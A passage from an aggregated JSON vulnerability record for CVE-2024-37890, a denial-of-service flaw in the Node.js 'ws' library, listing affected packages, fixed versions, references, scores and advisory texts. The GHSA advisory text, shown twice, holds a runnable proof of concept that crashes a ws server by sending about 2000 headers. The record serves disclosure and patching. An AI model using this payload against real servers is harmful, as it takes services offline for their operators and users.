Hat:enterprise_linux:9::crb","package":"dotnet-sdk-6.0-source-built-artifacts","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.0.135-2.el9_5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::crb","package":"dotnet6.0-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.0.135-2.el9_5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::crb","package":"dotnet6.0-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.0.135-2.el9_5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"aspnetcore-runtime-8.0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.0.13-2.el10_0"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"aspnetcore-runtime-dbg-8.0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.0.13-2.el10_0"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"aspnetcore-targeting-pack-8.0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.0.13-2.el10_0"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"dotnet-apphost-pack-8.0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.0.13-2.el10_0"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"dotnet-apphost-pack-8.0-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.0.13-2.el10_0"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"dotnet-hostfxr-8.0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.0.13-2.el10_0"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"dotnet-hostfxr-8.0-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.0.13-2.el10_0"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"dotnet-runtime-8.0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.0.13-2.el10_0"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"dotnet-runtime-8.0-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.0.13-2.el10_0"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"dotnet-runtime-dbg-8.0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.0.13-2.el10_0"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"dotnet-sdk-8.0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.0.113-2.el10_0"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"dotnet-sdk-8.0-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.0.113-2.el10_0"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"dotnet-sdk-dbg-8.0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.0.113-2.el10_0"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"dotnet-targeting-pack-8.0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.0.13-2.el10_0"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"dotnet-templates-8.0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.0.113-2.el10_0"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"dotnet8.0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.0.113-2.el10_0"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"dotnet8.0-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.0.113-2.el10_0"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.0","package":"dotnet-sdk-8.0-source-built-artifacts","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.0.113-2.el10_0"}]}]},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"node-ws","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.7.2+ds1.349b7460-1","1.0.1+ds1.e6ddaae4-1"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"node-ws","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.1.0+ds1.e6ddaae4-3build1","1.1.0+ds1.e6ddaae4-3ubuntu1"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"node-ws","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.1.0+ds1.e6ddaae4-5","7.2.1-2","7.2.1-3"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"node-ws","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["7.4.2+~cs18.0.8-2","7.5.5+~cs13.0.13-1","8.5.0+~cs13.3.3-2"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"node-ws","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["8.11.0+~cs13.7.3-1","8.11.0+~cs13.7.3-2"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"node-ws","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["8.18.0+~cs14.5.15-1","8.18.1+~cs14.18.2-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"node-ws","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["8.19.0+~cs14.19.1-1","8.20.1+~cs14.19.1-1","8.21.3+~cs14.19.1-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"node-ws","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["8.18.1+~cs14.18.2-1","8.19.0+~cs14.19.1-1"]}],"products":[{"vendor":"websockets","product":"ws"}],"references":[{"url":"https://github.com/websockets/ws/security/advisories/GHSA-3h5v-q93c-6h6q","tags":["x_refsource_CONFIRM","x_transferred","advisory","web","article","report"]},{"url":"https://github.com/websockets/ws/issues/2230","tags":["x_refsource_MISC","x_transferred","report","web"]},{"url":"https://github.com/websockets/ws/pull/2231","tags":["x_refsource_MISC","x_transferred","fix","web","report"]},{"url":"https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f","tags":["x_refsource_MISC","x_transferred","fix","web","report"]},{"url":"https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e","tags":["x_refsource_MISC","x_transferred","fix","web","report"]},{"url":"https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c","tags":["x_refsource_MISC","x_transferred","fix","web","report"]},{"url":"https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63","tags":["x_refsource_MISC","x_transferred","fix","web","report"]},{"url":"https://nodejs.org/api/http.html#servermaxheaderscount","tags":["x_refsource_MISC","x_transferred","web","report"]},{"url":"https://github.com/advisories/GHSA-3h5v-q93c-6h6q"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-37890","tags":["web","advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/37xxx/CVE-2024-37890.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2024-37890","tags":["advisory"]},{"url":"https://github.com/websockets/ws","tags":["package"]},{"url":"https://advisories.mageia.org/MGASA-2025-0194.html","tags":["advisory"]},{"url":"https://bugs.mageia.org/show_bug.cgi?id=33674","tags":["report"]},{"url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/2UGLXZO6VIHGIITQTEUY5Q5YCAP2A4ZP/","tags":["web"]},{"url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VEDIJM7VQF4Q2L2KKQ6KJ2WZNR7AXYQD/","tags":["web"]},{"url":"https://access.redhat.com/errata/RHBA-2024:9549","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2024/rhba-2024_9549.json","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2024-37890","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2292777","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2024-37890","tags":["advisory","report"]},{"url":"https://access.redhat.com/errata/RHBA-2024:9550","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2024/rhba-2024_9550.json","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHBA-2025:4932","tags":["advisory"]},{"url":"https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/10/html/10.0_release_notes/index","tags":["article"]},{"url":"https://issues.redhat.com/browse/RHEL-65034","tags":["article"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2025/rhba-2025_4932.json","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2024-37890","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2024-37890","title":"Denial of service when handling a request with many HTTP headers in ws","description":"ws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in ws@8.17.1 (e55e510) and backported to ws@7.5.10 (22c2876), ws@6.2.3 (eeb76d3), and ws@5.2.4 (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.","status":"published","published":"2024-06-17T19:09:02.127Z","modified":"2024-08-02T03:57:40.022Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-476"],"updated_at":"2026-11-02T14:34:00.585327Z"}],"euvd":[{"id":"EUVD-2024-1899","description":"ws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in ws@8.17.1 (e55e510) and backported to ws@7.5.10 (22c2876), ws@6.2.3 (eeb76d3), and ws@5.2.4 (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.","status":"published","published":"2024-06-17T19:09:02Z","modified":"2024-08-02T03:57:40Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-03T03:50:18.901913Z"}],"ghsa":[{"id":"GHSA-3h5v-q93c-6h6q","title":"ws affected by a DoS when handling a request with many HTTP headers","description":"### Impact\n\nA request with a number of headers exceeding the [`server.maxHeadersCount`][] threshold could be used to crash a ws server.\n\n### Proof of concept\n\n```js\nconst http = require('http');\nconst WebSocket = require('ws');\n\nconst wss = new WebSocket.Server({ port: 0 }, function () {\n  const chars = \"!#$%\u0026'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~\".split('');\n  const headers = {};\n  let count = 0;\n\n  for (let i = 0; i \u003c chars.length; i++) {\n    if (count === 2000) break;\n\n    for (let j = 0; j \u003c chars.length; j++) {\n      const key = chars[i] + chars[j];\n      headers[key] = 'x';\n\n      if (++count === 2000) break;\n    }\n  }\n\n  headers.Connection = 'Upgrade';\n  headers.Upgrade = 'websocket';\n  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';\n  headers['Sec-WebSocket-Version'] = '13';\n\n  const request = http.request({\n    headers: headers,\n    host: '127.0.0.1',\n    port: wss.address().port\n  });\n\n  request.end();\n});\n```\n\n### Patches\n\nThe vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e).\n\n### Workarounds\n\nIn vulnerable versions of ws, the issue can be mitigated in the following ways:\n\n1. Reduce the maximum allowed length of the request headers using the [`--max-http-header-size=size`][] and/or the [`maxHeaderSize`][] options so that no more headers than the `server.maxHeadersCount` limit can be sent.\n2. Set `server.maxHeadersCount` to `0` so that no limit is applied.\n\n### Credits\n\nThe vulnerability was reported by [Ryan LaPointe](https://github.com/rrlapointe) in https://github.com/websockets/ws/issues/2230.\n\n### References\n\n- https://github.com/advisories/GHSA-3h5v-q93c-6h6q\n- https://www.cve.org/CVERecord?id=CVE-2024-37890\n- https://github.com/websockets/ws/issues/2230\n- https://github.com/websockets/ws/pull/2231\n\n[`--max-http-header-size=size`]: https://nodejs.org/api/cli.html#--max-http-header-sizesize\n[`maxHeaderSize`]: https://nodejs.org/api/http.html#httpcreateserveroptions-requestlistener\n[`server.maxHeadersCount`]: https://nodejs.org/api/http.html#servermaxheaderscount","status":"published","published":"2024-06-17T19:09:10Z","modified":"2026-05-13T15:25:52Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-476"],"updated_at":"2026-11-02T14:40:08.003212Z"}],"nvd":[{"id":"CVE-2024-37890","description":"ws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in ws@8.17.1 (e55e510) and backported to ws@7.5.10 (22c2876), ws@6.2.3 (eeb76d3), and ws@5.2.4 (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.","status":"published","published":"2024-06-17T20:15:13.203Z","modified":"2026-06-17T07:38:59.847Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-476"],"updated_at":"2026-11-02T14:10:05.620461Z"}],"osv":[{"id":"CVE-2024-37890","title":"Denial of service when handling a request with many HTTP headers in ws","description":"ws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in ws@8.17.1 (e55e510) and backported to ws@7.5.10 (22c2876), ws@6.2.3 (eeb76d3), and ws@5.2.4 (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.","status":"published","published":"2024-06-17T19:09:02.127Z","modified":"2026-10-28T02:30:24.547506705Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-476"],"updated_at":"2026-11-02T15:44:41.133403Z"},{"id":"DEBIAN-CVE-2024-37890","description":"ws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in ws@8.17.1 (e55e510) and backported to ws@7.5.10 (22c2876), ws@6.2.3 (eeb76d3), and ws@5.2.4 (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.","status":"published","published":"2024-06-17T20:15:13.203Z","modified":"2026-11-02T12:02:42.414956195Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:42.835825Z"},{"id":"GHSA-3h5v-q93c-6h6q","title":"ws affected by a DoS when handling a request with many HTTP headers","description":"### Impact\n\nA request with a number of headers exceeding the [`server.maxHeadersCount`][] threshold could be used to crash a ws server.\n\n### Proof of concept\n\n```js\nconst http = require('http');\nconst WebSocket = require('ws');\n\nconst wss = new WebSocket.Server({ port: 0 }, function () {\n  const chars = \"!#$%\u0026'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~\".split('');\n  const headers = {};\n  let count = 0;\n\n  for (let i = 0; i \u003c chars.length; i++) {\n    if (count === 2000) break;\n\n    for (let j = 0; j \u003c chars.length; j++) {\n      const key = chars[i] + chars[j];\n      headers[key] = 'x';\n\n      if (++count === 2000) break;\n    }\n  }\n\n  headers.Connection = 'Upgrade';\n  headers.Upgrade = 'websocket';\n  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';\n  headers['Sec-WebSocket-Version'] = '13';\n\n  const request = http.request({\n    headers: headers,\n    host: '127.0.0.1',\n    port: wss.address().port\n  });\n\n  request.end();\n});\n```\n\n### Patches\n\nThe vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e).\n\n### Workarounds\n\nIn vulnerable versions of ws, the issue can be mitigated in the following ways:\n\n1. Reduce the maximum allowed length of the request headers using the [`--max-http-header-size=size`][] and/or the [`maxHeaderSize`][] options so that no more headers than the `server.maxHeadersCount` limit can be sent.\n2. Set `server.maxHeadersCount` to `0` so that no limit is applied.\n\n### Credits\n\nThe vulnerability was reported by [Ryan LaPointe](https://github.com/rrlapointe) in https://github.com/websockets/ws/issues/2230.\n\n### References\n\n- https://github.com/advisories/GHSA-3h5v-q93c-6h6q\n- https://www.cve.org/CVERecord?id=CVE-2024-37890\n- https://github.com/websockets/ws/issues/2230\n- https://github.com/websockets/ws/pull/2231\n\n[`--max-http-header-size=size`]: https://nodejs.org/api/cli.html#--max-http-header-sizesize\n[`maxHeaderSize`]: https://nodejs.org/api/http.html#httpcreateserveroptions-requestlistener\n[`server.maxHeadersCount`]: https://nodejs.org/api/http.html#servermaxheaderscount","status":"published","published":"2024-06-17T19:09:10Z","modified":"2026-09-10T03:50:14.788589634Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"},{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-476"],"updated_at":"2026-11-02T15:46:35.747385Z"},{"id":"RHBA-2024:9549","title":"Red Hat Bug Fix Advisory: .NET 8.0 bug fix and enhancement update","status":"published","published":"2026-10-10T10:02:14Z","modified":"2026-10-16T10:03:19Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T15:52:58.636919Z"},{"id":"RHBA-2024:9550","title":"Red Hat Bug Fix Advisory: .NET 6.0 bug fix and enhancement update","status":"published","published":"2026-10-10T10:02:15Z","modified":"2026-10-16T10:03:19Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T15:52:58.636919Z"},{"id":"RHBA-2025:4932","title":"Red Hat Bug Fix Advisory: dotnet8.0 bug fix and enhancement update","status":"published","published":"2026-10-10T10:02:53Z","modified":"2026-10-16T10:05:52Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T15:52:58.636919Z"},{"id":"UBUNTU-CVE-2024-37890","description":"ws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in ws@8.17.1 (e55e510) and backported to ws@7.5.10 (22c2876), ws@6.2.3 (eeb76d3), and ws@5.2.4 (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.","status":"published","published":"2024-06-17T20:15:00Z","modified":"2026-10-17T12:56:37.840990175Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T16:54:54.69008Z"},{"id":"AZL-42808","title":"CVE-2024-37890 affecting package reaper for versions less than 3.1.1-10","description":"ws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in ws@8.17.1 (e55e510) and backported to ws@7.5.10 (22c2876), ws@6.2.3 (eeb76d3), and ws@5.2.4 (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.","status":"published","published":"2024-06-17T20:15:13Z","modified":"2026-04-21T04:30:45.516437Z","updated_at":"2026-11-02T15:28:04.893995Z"},{"id":"AZL-43600","title":"CVE-2024-37890 affecting package js-jquery 3.5.0-4","description":"ws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in ws@8.17.1 (e55e510) and backported to ws@7.5.10 (22c2876), ws@6.2.3 (eeb76d3), and ws@5.2.4 (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.","status":"published","published":"2024-06-17T20:15:13Z","modified":"2026-04-21T04:31:04.500165Z","updated_at":"2026-11-02T15:28:05.284713Z"},{"id":"AZL-45066","title":"CVE-2024-37890 affecting package js-jquery 3.5.0-4","description":"ws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in ws@8.17.1 (e55e510) and backported to ws@7.5.10 (22c2876), ws@6.2.3 (eeb76d3), and ws@5.2.4 (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.","status":"published","published":"2024-06-17T20:15:13Z","modified":"2026-11-05T05:36:30Z","updated_at":"2026-11-05T16:41:20.321068Z"},{"id":"CLSA-2026-1773360970","title":"TuxCare security update for ws (1 CVE)","description":"TuxCare rebuilt ws to address 1 CVE. Fixed in 7.4.6-tuxcare.1.","status":"published","published":"2026-08-04T14:52:12Z","modified":"2026-10-15T09:47:27.770655533Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1774225216","title":"TuxCare security update for ws (1 CVE)","description":"TuxCare rebuilt ws to address 1 CVE. Fixed in 4.1.0-tuxcare.1.","status":"published","published":"2026-08-04T14:52:14Z","modified":"2026-10-15T09:47:48.093116772Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1785380881","title":"TuxCare security update for ws (2 CVEs)","description":"TuxCare rebuilt ws to address 2 CVEs. Fixed in 8.16.0-tuxcare.2.","status":"published","published":"2026-08-04T14:52:51Z","modified":"2026-10-15T09:48:03.888669964Z","updated_at":"2026-11-02T15:43:46.850893Z"},{"id":"CLSA-2026-1785380886","title":"TuxCare security update for ws (1 CVE)","description":"TuxCare rebuilt ws to address 1 CVE. Fixed in 7.5.9-tuxcare.2.","status":"published","published":"2026-08-04T14:52:51Z","modified":"2026-10-15T09:48:03.822955346Z","updated_at":"2026-11-02T15:43:46.850893Z"},{"id":"CLSA-2026-1788560406","title":"TuxCare security update for ws (3 CVEs)","description":"TuxCare rebuilt ws to address 3 CVEs. Fixed in 8.13.0-tuxcare.1.","status":"published","published":"2026-09-04T22:20:06Z","modified":"2026-10-15T09:48:03.103097262Z","updated_at":"2026-11-02T15:43:47.591214Z"},{"id":"CLSA-2026-1788560420","title":"TuxCare security update for ws (3 CVEs)","description":"TuxCare rebuilt ws to address 3 CVEs. Fixed in 7.4.5-tuxcare.1.","status":"published","published":"2026-09-04T22:20:20Z","modified":"2026-10-15T09:48:03.16737666Z","updated_at":"2026-11-02T15:43:47.591214Z"},{"id":"CLSA-2026-1788560439","title":"TuxCare security update for ws (3 CVEs)","description":"TuxCare rebuilt ws to address 3 CVEs. Fixed in 6.0.0-tuxcare.1.","status":"published","published":"2026-09-04T22:20:39Z","modified":"2026-10-15T09:48:03.103525841Z","updated_at":"2026-11-02T15:43:47.591214Z"},{"id":"CLSA-2026-1790161463","title":"TuxCare security update for ws (2 CVEs)","description":"TuxCare rebuilt ws to address 2 CVEs. Fixed in 8.11.0-tuxcare.1.","status":"published","published":"2026-09-23T11:04:23Z","modified":"2026-10-15T09:47:56.44974834Z","updated_at":"2026-11-02T15:43:48.28229Z"},{"id":"CLSA-2026-1790164081","title":"TuxCare security update for ws (2 CVEs)","description":"TuxCare rebuilt ws to address 2 CVEs. Fixed in 8.5.0-tuxcare.1.","status":"published","published":"2026-09-23T11:48:01Z","modified":"2026-10-15T09:47:56.693063516Z","updated_at":"2026-11-02T15:43:48.28229Z"},{"id":"CLSA-2026-1790164156","title":"TuxCare security update for ws (2 CVEs)","description":"TuxCare rebuilt ws to address 2 CVEs. Fixed in 6.2.2-tuxcare.1.","status":"published","published":"2026-09-23T11:49:16Z","modified":"2026-10-15T09:47:56.638585593Z","updated_at":"2026-11-02T15:43:48.28229Z"},{"id":"CLSA-2026-1790174669","title":"TuxCare security update for ws (2 CVEs)","description":"TuxCare rebuilt ws to address 2 CVEs. Fixed in 8.2.3-tuxcare.1.","status":"published","published":"2026-09-23T14:44:29Z","modified":"2026-10-15T09:47:56.608290829Z","updated_at":"2026-11-02T15:43:48.28229Z"},{"id":"CLSA-2026-1790610738","title":"TuxCare security update for ws (2 CVEs)","description":"TuxCare rebuilt ws to address 2 CVEs. Fixed in 8.14.2-tuxcare.1.","status":"published","published":"2026-09-28T15:52:18Z","modified":"2026-10-15T09:47:08.152041075Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"CLSA-2026-1790776603","title":"TuxCare security update for ws (2 CVEs)","description":"TuxCare rebuilt ws to address 2 CVEs. Fixed in 7.5.3-tuxcare.1.","status":"published","published":"2026-09-30T13:56:43Z","modified":"2026-10-15T09:46:38.651541998Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"CLSA-2026-1792164186","title":"TuxCare security update for ws (3 CVEs)","description":"TuxCare rebuilt ws to address 3 CVEs. Fixed in 7.4.3-tuxcare.1.","status":"published","published":"2026-10-16T15:23:06Z","modified":"2026-10-16T16:32:00.365190497Z","updated_at":"2026-11-02T15:43:51.747192Z"},{"id":"CLSA-2026-1792443025","title":"TuxCare security update for ws (3 CVEs)","description":"TuxCare rebuilt ws to address 3 CVEs. Fixed in 7.4.0-tuxcare.1.","status":"published","published":"2026-10-19T20:50:25Z","modified":"2026-10-20T01:45:11.700371544Z","updated_at":"2026-11-02T15:43:54.378946Z"},{"id":"CLSA-2026-1793096799","title":"TuxCare security update for ws (1 CVE)","description":"TuxCare rebuilt ws to address 1 CVE. Fixed in 2.3.1-tuxcare.2.","status":"published","published":"2026-10-27T10:26:39Z","modified":"2026-10-27T13:30:03.658478916Z","updated_at":"2026-11-02T15:43:55.34846Z"},{"id":"CLSA-2026-1793112519","title":"TuxCare security update for ws (3 CVEs)","description":"TuxCare rebuilt ws to address 3 CVEs. Fixed in 